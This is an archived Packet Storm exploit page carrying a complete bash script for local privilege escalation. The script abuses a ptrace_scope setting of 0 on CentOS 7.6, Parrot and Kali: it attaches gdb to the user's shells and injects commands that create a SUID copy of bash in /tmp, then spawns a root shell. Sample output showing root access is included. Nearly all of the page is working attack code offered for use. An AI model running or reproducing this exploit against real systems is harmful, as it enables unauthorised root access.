exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CentOS 7.6 ptrace_scope Privlege Escalation

CentOS 7.6 ptrace_scope Privlege Escalation
Posted Jun 14, 2019
Authored by Marcelo Vazquez

CentOS version 7.6 ptrace_scope misconfiguration local privilege escalation exploit.

tags | exploit, local
systems | linux, centos
SHA-256 | 608a9d5a7538ce173fdb713a8da2de1c7c54e2161d857c0ae1d0aa7e4f2899b2

CentOS 7.6 ptrace_scope Privlege Escalation

Change Mirror Download
#!/usr/bin/env bash

#######################################################
# #
# 'ptrace_scope' misconfiguration #
# Local Privilege Escalation #
# #
#######################################################

# Affected operating systems (TESTED):
# Parrot Home/Workstation 4.6 (Latest Version)
# Parrot Security 4.6 (Latest Version)
# CentOS / RedHat 7.6 (Latest Version)
# Kali Linux 2018.4 (Latest Version)

# Authors: Marcelo Vazquez (s4vitar)
# Victor Lasa (vowkin)

#┌─[s4vitar@parrot]─[~/Desktop/Exploit/Privesc]
#└──╼ $./exploit.sh
#
#[*] Checking if 'ptrace_scope' is set to 0... [√]
#[*] Checking if 'GDB' is installed... [√]
#[*] System seems vulnerable! [√]
#
#[*] Starting attack...
#[*] PID -> sh
#[*] Path 824: /home/s4vitar
#[*] PID -> bash
#[*] Path 832: /home/s4vitar/Desktop/Exploit/Privesc
#[*] PID -> sh
#[*] Path
#[*] PID -> sh
#[*] Path
#[*] PID -> sh
#[*] Path
#[*] PID -> sh
#[*] Path
#[*] PID -> bash
#[*] Path 1816: /home/s4vitar/Desktop/Exploit/Privesc
#[*] PID -> bash
#[*] Path 1842: /home/s4vitar
#[*] PID -> bash
#[*] Path 1852: /home/s4vitar/Desktop/Exploit/Privesc
#[*] PID -> bash
#[*] Path 1857: /home/s4vitar/Desktop/Exploit/Privesc
#
#[*] Cleaning up... [√]
#[*] Spawning root shell... [√]
#
#bash-4.4# whoami
#root
#bash-4.4# id
#uid=1000(s4vitar) gid=1000(s4vitar) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(debian-tor),124(bluetooth),136(scanner),1000(s4vitar)
#bash-4.4#


function startAttack(){
tput civis && pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d' | while read shell_pid; do
if [ $(cat /proc/$shell_pid/comm 2>/dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then
echo "[*] PID -> "$(cat "/proc/$shell_pid/comm" 2>/dev/null)
echo "[*] Path $(pwdx $shell_pid 2>/dev/null)"
fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1")' | gdb -q -n -p "$shell_pid" >/dev/null 2>&1
done

if [ -f /tmp/bash ]; then
/tmp/bash -p -c 'echo -ne "\n[*] Cleaning up..."
rm /tmp/bash
echo -e " [√]"
echo -ne "[*] Spawning root shell..."
echo -e " [√]\n"
tput cnorm && bash -p'
else
echo -e "\n[*] Could not copy SUID to /tmp/bash [✗]"
fi
}

echo -ne "[*] Checking if 'ptrace_scope' is set to 0..."
if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then
echo " [√]"
echo -ne "[*] Checking if 'GDB' is installed..."
if command -v gdb >/dev/null 2>&1; then
echo -e " [√]"
echo -e "[*] System seems vulnerable! [√]\n"
echo -e "[*] Starting attack..."

startAttack

else
echo " [✗]"
echo "[*] System is NOT vulnerable :( [✗]"
fi
else
echo " [✗]"
echo "[*] System is NOT vulnerable :( [✗]"
fi; tput cnorm
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close